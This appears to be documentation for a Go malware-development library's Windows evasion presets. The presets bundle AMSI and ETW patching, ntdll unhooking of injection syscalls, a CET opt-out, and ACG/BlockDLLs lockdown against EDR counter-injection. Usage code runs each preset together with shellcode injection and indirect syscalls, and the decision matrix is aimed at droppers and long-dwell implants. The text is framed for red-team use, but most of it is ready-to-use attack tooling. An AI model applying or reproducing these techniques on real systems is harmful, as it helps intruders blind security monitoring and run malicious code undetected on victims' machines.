Preset — Ready-to-Use Evasion Combinations

<- Back to Evasion

Package: evasion/preset Platform: Windows only Detection: Varies by preset (Low for Minimal, Medium for Stealth, High for Aggressive)

Preset bundles the most common evasion techniques into three opinionated configurations keyed on risk tolerance. Each preset returns []evasion.Technique for use with evasion.ApplyAll().


Primer

Evasion rarely works in isolation — AMSI alone misses ETW, ETW alone misses userland hooks. Presets are pre-composed bundles (Minimal, Stealth, Aggressive) that apply a coherent set of techniques in one call. Pick one, ship it, don't micromanage the pieces.


How It Works

A preset is just a function returning []evasion.Technique. evasion.ApplyAll iterates the slice and invokes each technique's Apply() in order, collecting per-technique failures into a map. Nothing magic: the value is curation, not new code.

flowchart LR
    A[preset.Stealth] --> B["[]evasion.Technique<br>amsi + etw + 10x unhook"]
    B --> C["evasion.ApplyAll(slice, caller)"]
    C --> D{"each .Apply()"}
    D --> E[AMSI patched]
    D --> F[ETW silenced]
    D --> G[ntdll prologues restored]
    D --> H["errors map[name]error"]
  • preset.Minimal() — AMSI + ETW only. No disk reads, no mitigation policies.
  • preset.Stealth() — Minimal + classic unhook of the 10 functions in unhook.CommonHookedFunctions.
  • preset.Hardened() — full AMSI + full ETW + full ntdll unhook + CET opt-out. CET-aware sweet spot: APC-delivered shellcode survives Win11 24H2+ ENDBR64 enforcement without losing the ability to inject afterwards.
  • preset.Aggressive() — Hardened + ACG + BlockDLLs. Irreversible.

preset.CETOptOut() — standalone Technique callers can pull into a custom stack. No-op when CET is not enforced.

Order matters for Aggressive — ACG and BlockDLLs permanently restrict the process, so all RWX allocation and injection must be done before applying it.


Minimal

Risk: Low
Use case: Droppers, stagers, initial-access payloads where staying off radar matters more than bypassing advanced EDR hooks.

Included techniques

TechniquePackageWhat it does
amsi.ScanBufferPatch()evasion/amsiOverwrites AmsiScanBuffer entry with xor eax,eax; ret — all AMSI scans return clean
etw.All()evasion/etwPatches all EtwEventWrite* functions and NtTraceEvent with xor rax,rax; ret — ETW events are silently dropped

Rationale

AMSI and ETW are the two highest-signal telemetry paths for script/reflective loaders. Patching only these two functions has the smallest footprint: no disk reads of ntdll, no process spawning, no mitigation policy changes. The patch surface is three small memory writes. Suitable whenever the primary concern is bypassing in-memory script scanning rather than defeating userland hooks on injection primitives.


Stealth

Risk: Medium
Use case: Post-exploitation tooling, injectors, and loaders that need to perform process injection without inline hook interference from EDR agents.

Included techniques

Stealth is a superset of Minimal — all Minimal techniques apply, plus:

TechniquePackageWhat it does
amsi.ScanBufferPatch()evasion/amsi(from Minimal) AMSI bypass
etw.All()evasion/etw(from Minimal) ETW silence
unhook.Classic("NtAllocateVirtualMemory")evasion/unhookRestores first 5 bytes of syscall stub from on-disk ntdll
unhook.Classic("NtWriteVirtualMemory")evasion/unhookSame for write primitive
unhook.Classic("NtProtectVirtualMemory")evasion/unhookSame for protect primitive
unhook.Classic("NtCreateThreadEx")evasion/unhookSame for thread creation
unhook.Classic("NtMapViewOfSection")evasion/unhookSame for section mapping
unhook.Classic("NtQueueApcThread")evasion/unhookSame for APC-based injection
unhook.Classic("NtSetContextThread")evasion/unhookSame for thread hijacking
unhook.Classic("NtResumeThread")evasion/unhookSame for thread resume
unhook.Classic("NtCreateSection")evasion/unhookSame for section creation
unhook.Classic("NtOpenProcess")evasion/unhookSame for process opening

All 10 functions come from unhook.CommonHookedFunctions via unhook.CommonClassic().

Rationale

EDR/AV products hook the 10 functions in CommonHookedFunctions because they are the core primitives for process injection and shellcode execution. Classic unhooking reads the original prologue bytes from the clean on-disk ntdll.dll and writes them back — no process spawning, just targeted 5-byte patches. This is surgical: only restore what is likely hooked, minimise the number of memory writes, and avoid the large-region writes of FullUnhook that are easier to detect via integrity checks. The combination of AMSI+ETW silence plus unhooking gives adequate coverage for most injection scenarios without the irreversible side effects of Aggressive.


Aggressive

Risk: High
Use case: Red team finals, assumed-breach scenarios, long-dwell implants where maximum evasion is worth trading away compatibility and reversibility.

CRITICAL: ACG is irreversible. acg.Guard() calls SetProcessMitigationPolicy(ProhibitDynamicCode=1). After this call, VirtualAlloc(PAGE_EXECUTE_*) and related calls fail for the remainder of the process lifetime. You MUST complete all shellcode injection and RWX memory allocation BEFORE calling preset.Aggressive(). Applying it beforehand will break your own injection code.

Included techniques

TechniquePackageWhat it does
amsi.All()evasion/amsiPatches both AmsiScanBuffer and AmsiOpenSession — full AMSI neutralisation
etw.All()evasion/etwPatches all EtwEventWrite* and NtTraceEvent
unhook.Full()evasion/unhookReplaces the entire ntdll .text section from the on-disk copy — removes every inline hook in one operation
acg.Guard()evasion/acgEnables Arbitrary Code Guard — blocks EDR from injecting executable code into this process (irreversible)
blockdlls.MicrosoftOnly()evasion/blockdllsBlocks loading of non-Microsoft-signed DLLs — prevents EDR agent DLLs from being injected (irreversible)

Rationale

Aggressive trades reversibility for depth. amsi.All() patches both AMSI entry points rather than just ScanBuffer, closing the bypass gap around session-level checks. unhook.Full() replaces the entire .text section rather than patching individual functions — guaranteed to remove every hook, at the cost of a larger and more conspicuous memory write. ACG and BlockDLLs are process mitigation policies that harden the process against EDR counter-injection; because they are kernel-enforced and irreversible, they provide the strongest possible protection but must be the last step. This combination is appropriate when the mission is high-value and the dwell time is long enough that EDR will attempt active response.


Usage Examples

Basic usage

import (
    "log"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
)

func main() {
    // Apply Stealth preset (returns nil map on full success)
    errs := evasion.ApplyAll(preset.Stealth(), nil)
    for name, err := range errs {
        log.Printf("evasion technique %s failed: %v", name, err)
    }
}

Hardened — Win11 24H2+ with CET shadow stacks

Sweet spot when the host enforces CET: AMSI + ETW + full ntdll unhook + CET opt-out, no irreversible per-process mitigations (ACG, BlockDLLs) so the implant can still inject after the preset runs.

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    caller := wsyscall.New(wsyscall.MethodIndirectAsm, wsyscall.NewHashGate())
    defer caller.Close()
    errs := evasion.ApplyAll(preset.Hardened(), caller)
    _ = errs
}

CETOptOut standalone — pluck the technique into a custom stack

stack := []evasion.Technique{
    amsi.ScanBufferPatch(),
    etw.All(),
    preset.CETOptOut(), // no-op when cet.Enforced() == false
    sleepmask.NewLocalForCurrentImage(),
}
_ = evasion.ApplyAll(stack, caller)

With indirect syscalls (Caller)

import (
    "log"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func main() {
    caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
    errs := evasion.ApplyAll(preset.Stealth(), caller)
    for name, e := range errs {
        log.Printf("%s: %v", name, e)
    }
}

Aggressive preset — inject first, harden after

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

func run(shellcode []byte) error {
    // Step 1: apply Stealth first so injection primitives are unhooked
    evasion.ApplyAll(preset.Stealth(), nil)

    // Step 2: do all injection / RWX allocation here
    if err := inject.ThreadPoolExec(shellcode); err != nil {
        return err
    }

    // Step 3: NOW apply Aggressive — ACG and BlockDLLs lock down the process
    // No further RWX allocation is possible after this point
    evasion.ApplyAll(preset.Aggressive(), nil)
    return nil
}

Custom combination

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/evasion/unhook"
)

// Custom: AMSI + ETW + only the functions we actually call
techniques := []evasion.Technique{
    amsi.ScanBufferPatch(),
    etw.All(),
    unhook.Classic("NtAllocateVirtualMemory"),
    unhook.Classic("NtCreateThreadEx"),
}
evasion.ApplyAll(techniques, nil)

Decision Matrix

ScenarioPresetRationale
Script dropper, no injectionMinimalAMSI+ETW is all that matters for script scanning
Reflective loader executing shellcodeStealthNeeds unhooked NtAllocateVirtualMemory + NtCreateThreadEx
Process injection via APCStealthNeeds NtQueueApcThread unhooked
Thread hijackingStealthNeeds NtSetContextThread + NtResumeThread unhooked
Long-dwell implant, post-injectionAggressiveACG+BlockDLLs harden against EDR counter-injection
Red team final objective, assumed-breachAggressiveMaximum evasion depth warranted
EDR with heavy hook coverage suspectedAggressive (Full unhook)Full .text replacement vs. targeted 5-byte patches
Constrained environment, compatibility requiredMinimalNo disk reads, no irreversible changes
Custom: known hook setManual compositionBuild from individual techniques for minimal footprint

Combined Example

Apply preset.Stealth() to unhook injection primitives, detonate a shellcode payload, then lock the process down with preset.Aggressive() so an EDR agent cannot counter-inject a monitoring DLL afterwards.

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

func run(shellcode []byte) error {
    caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewTartarus())
    defer caller.Close()

    // 1. Stealth first — AMSI/ETW silenced + Nt* prologues restored.
    //    The unhook pass uses indirect syscalls via `caller`, so the
    //    restore itself does not touch hooked NtProtectVirtualMemory.
    if errs := evasion.ApplyAll(preset.Stealth(), caller); len(errs) > 0 {
        for name, err := range errs {
            log.Printf("stealth: %s: %v", name, err)
        }
    }

    // 2. Inject while RWX allocation is still legal.
    if err := inject.ThreadPoolExec(shellcode); err != nil {
        return err
    }

    // 3. Aggressive last — ACG + BlockDLLs lock the process.
    //    No further VirtualAlloc(PAGE_EXECUTE_*) possible after this.
    evasion.ApplyAll(preset.Aggressive(), caller)
    return nil
}

Layered benefit: Stealth removes the EDR's ability to observe the injection (hooks gone, AMSI silent, ETW off), and Aggressive removes its ability to react afterwards (ACG blocks code injection, BlockDLLs blocks its module load) — the two presets cover detection and remediation without overlapping.


API Reference

See the package godoc for the canonical Apply(c Caller) error / ApplyAll(c Caller) map[string]error surface. Each preset (Minimal, Stealth, Aggressive) returns a []evasion.Technique ready to plug into evasion.ApplyAll.

See also